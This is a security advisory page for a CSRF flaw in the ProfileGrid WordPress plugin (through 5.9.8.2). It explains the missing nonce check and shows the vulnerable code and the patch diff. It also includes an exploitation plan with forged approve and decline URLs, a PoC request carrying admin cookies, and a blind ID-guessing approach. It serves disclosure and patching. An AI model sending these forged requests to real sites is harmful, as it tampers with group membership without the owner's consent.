ProfileGrid <= 5.9.8.2 - Cross-Site Request Forgery to Group Membership Request Approval/Denial
Description
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.9.8.2. This is due to missing nonce validation on the membership request management page (approve and decline actions). This makes it possible for unauthenticated attackers to approve or deny group membership requests via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=5.9.8.2What Changed in the Fix
Changes introduced in v5.9.8.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2494 (ProfileGrid CSRF) ## 1. Vulnerability Summary The **ProfileGrid – User Profiles, Groups and Communities** plugin (up to 5.9.8.2) is vulnerable to **Cross-Site Request Forgery (CSRF)** in its group membership request management. The vulnerability exists i…
Show full research plan
Exploitation Research Plan: CVE-2026-2494 (ProfileGrid CSRF)
1. Vulnerability Summary
The ProfileGrid – User Profiles, Groups and Communities plugin (up to 5.9.8.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its group membership request management. The vulnerability exists in admin/partials/pm-membership-requests.php, where the plugin processes approve and decline actions via the bulk_action parameter.
The code fails to perform any nonce validation or capability check specifically for these bulk actions within the file logic, allowing an unauthenticated attacker to trick a logged-in administrator into approving or denying group membership requests by simply visiting a crafted URL.
2. Attack Vector Analysis
- Target Endpoint:
wp-admin/admin.php - Page Slug:
page=pm_requests_manager - Vulnerable Parameters:
bulk_action: Set toapproveordecline.selected[]: An array of membership request IDs to process.
- HTTP Method:
GET(as confirmed by the use offilter_input(INPUT_GET, ...)in the source code). - Authentication Level: Requires an active Administrator session (to access
admin.phpand the ProfileGrid request manager). - Preconditions: At least one pending group membership request must exist in the system.
3. Code Flow
- The administrator visits
wp-admin/admin.php?page=pm_requests_manager. - The plugin loads
admin/partials/pm-membership-requests.php. - Line 11: The code checks if
bulk_actionisapprove:if ( !empty($bulk_action) && $bulk_action == 'approve') { - Line 12: It retrieves the
selectedrequest IDs:$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); - Lines 15-25: If
selectedis present, it iterates through the IDs and performs the join operation via$pmrequests->profile_magic_join_group_fun. Crucially, there is nowp_verify_noncecheck before this loop. - Similar logic follows for the
declineaction at Line 39, which calls$dbhandler->remove_row( 'REQUESTS', 'id', $id )without nonce validation.
4. Nonce Acquisition Strategy
No nonce is required for this exploit.
The vulnerability resides in the fact that wp_verify_nonce is entirely missing from the approve and decline processing blocks in admin/partials/pm-membership-requests.php.
While there is a nonce check for the reset parameter (Line 63: pg_request_manager), it does not protect the membership state-change actions. An attacker can execute the exploit without any valid token.
5. Exploitation Strategy
The exploit will be delivered via a GET request.
Step-by-Step Execution:
- Identify Request ID: The attacker needs the numeric ID of the membership request they wish to approve. This can be found in the
REQUESTStable (usually{prefix}pg_requests). - Craft the URL:
- Approval:
http://[target]/wp-admin/admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=[ID] - Denial:
http://[target]/wp-admin/admin.php?page=pm_requests_manager&bulk_action=decline&selected[]=[ID]
- Approval:
- Delivery: Trick the administrator into navigating to this URL while logged in. In a PoC environment, this is simulated by using the
http_requesttool with administrator cookies.
PoC HTTP Request:
GET /wp-admin/admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1 HTTP/1.1
Host: [target]
Cookie: [admin_cookies]
6. Test Data Setup
To verify the exploit, the following environment must be prepared:
- Create a Group: Use WP-CLI or the admin UI to create at least one ProfileGrid group.
- Note: Groups are stored in the
GROUPStable identifier.
- Note: Groups are stored in the
- Configure Group for Approval: Ensure the group is set to "Private" or "Closed" so that membership requires approval.
- Create a User: Create a standard subscriber user.
- Generate a Request: Log in as the subscriber and request to join the group.
- Locate the request ID by querying the database:
wp db query "SELECT id FROM wp_pg_requests WHERE status='1'"(assuming default prefix).
- Locate the request ID by querying the database:
7. Expected Results
- The HTTP request should return a
302 Redirecttoadmin.php?page=pm_requests_manager. - The membership request with the specified ID should be moved from "Pending" to "Approved" (or deleted if
declinewas used). - If approved, the user should now have the group ID associated with their profile (usually in
wp_usermetaunder thepm_groupkey or thewp_pg_group_memberstable).
8. Verification Steps
After the HTTP request, verify the outcome using WP-CLI:
Check Request Table:
wp db query "SELECT * FROM wp_pg_requests WHERE id=[ID]"Expected for Approval: The request should no longer be in status '1' (pending) or should be removed.
Expected for Denial: The row should be deleted.Check User Membership:
wp user meta get [USER_ID] pm_groupExpected for Approval: The meta value should contain the serialized group ID.
9. Alternative Approaches
If the selected[] array processing via GET fails due to URL length or WAF restrictions, the same parameters can be attempted via a POST request to the same URL, as some WordPress configurations process $_REQUEST which merges both. However, the source specifically uses INPUT_GET, so GET is the primary and most likely successful vector.
If the request ID is unknown, an attacker could attempt to "blindly" approve IDs 1 through 10 in a single request:admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1&selected[]=2&selected[]=3...
Summary
The ProfileGrid plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation when processing group membership requests. This allows an attacker to trick a logged-in administrator into approving or declining user requests to join groups by having them visit a specifically crafted URL.
Vulnerable Code
// admin/partials/pm-membership-requests.php line 11 $bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS); if ( !empty($bulk_action) && $bulk_action == 'approve') { $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); if ( isset( $selected ) ) : $message = ''; foreach ( $selected as $id ) { $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' ); if($pmrequests->pg_check_group_limit_available($request->gid)) { $update = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' ); do_action( 'pm_user_membership_request_approve', $request->gid, $request->uid ); } else { $message = $dbhandler->get_value('GROUPS','group_limit_message',$request->gid); } } endif; --- // admin/partials/pm-membership-requests.php line 39 if ( !empty($bulk_action) && $bulk_action == 'decline') { $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); if ( isset( $selected ) ) : foreach ( $selected as $id ) { $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' ); $dbhandler->remove_row( 'REQUESTS', 'id', $id ); $pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' ); do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid ); } endif;
Security Fix
@@ -11,13 +11,30 @@ $offset = ( $pagenum - 1 ) * $limit; $bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS); +if ( ! empty( $bulk_action ) && in_array( $bulk_action, array( 'approve', 'decline' ), true ) ) { + $retrieved_nonce = filter_input( INPUT_GET, '_wpnonce' ); + if ( ! wp_verify_nonce( $retrieved_nonce, 'pg_request_manager' ) ) { + die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) ); + } + if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user->ID ) ) { + wp_die( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) ); + } +} + if ( !empty($bulk_action) && $bulk_action == 'approve') { $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); if ( isset( $selected ) ) : $message = ''; foreach ( $selected as $id ) { + $id = absint( $id ); + if ( empty( $id ) ) { + continue; + } $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' ); + if ( empty( $request ) ) { + continue; + } if($pmrequests->pg_check_group_limit_available($request->gid)) { $update = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' ); @@ -45,7 +62,14 @@ $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); if ( isset( $selected ) ) : foreach ( $selected as $id ) { + $id = absint( $id ); + if ( empty( $id ) ) { + continue; + } $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' ); + if ( empty( $request ) ) { + continue; + } $dbhandler->remove_row( 'REQUESTS', 'id', $id ); $pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' ); do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid );
Exploit Outline
The exploit targets the Membership Request management page in the WordPress admin dashboard. 1. Identify the ID of a pending group membership request (found in the wp_pg_requests database table). 2. Construct a malicious GET request to the administrative endpoint: `/wp-admin/admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=[REQUEST_ID]` (or `bulk_action=decline`). 3. An attacker tricks an authenticated administrator into navigating to this URL (e.g., through a phishing link or an <img> tag on a third-party site). 4. Because the plugin processes the `bulk_action` and `selected[]` parameters without verifying a security nonce, the server executes the membership approval or denial on behalf of the administrator, granting the attacker access to restricted groups.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.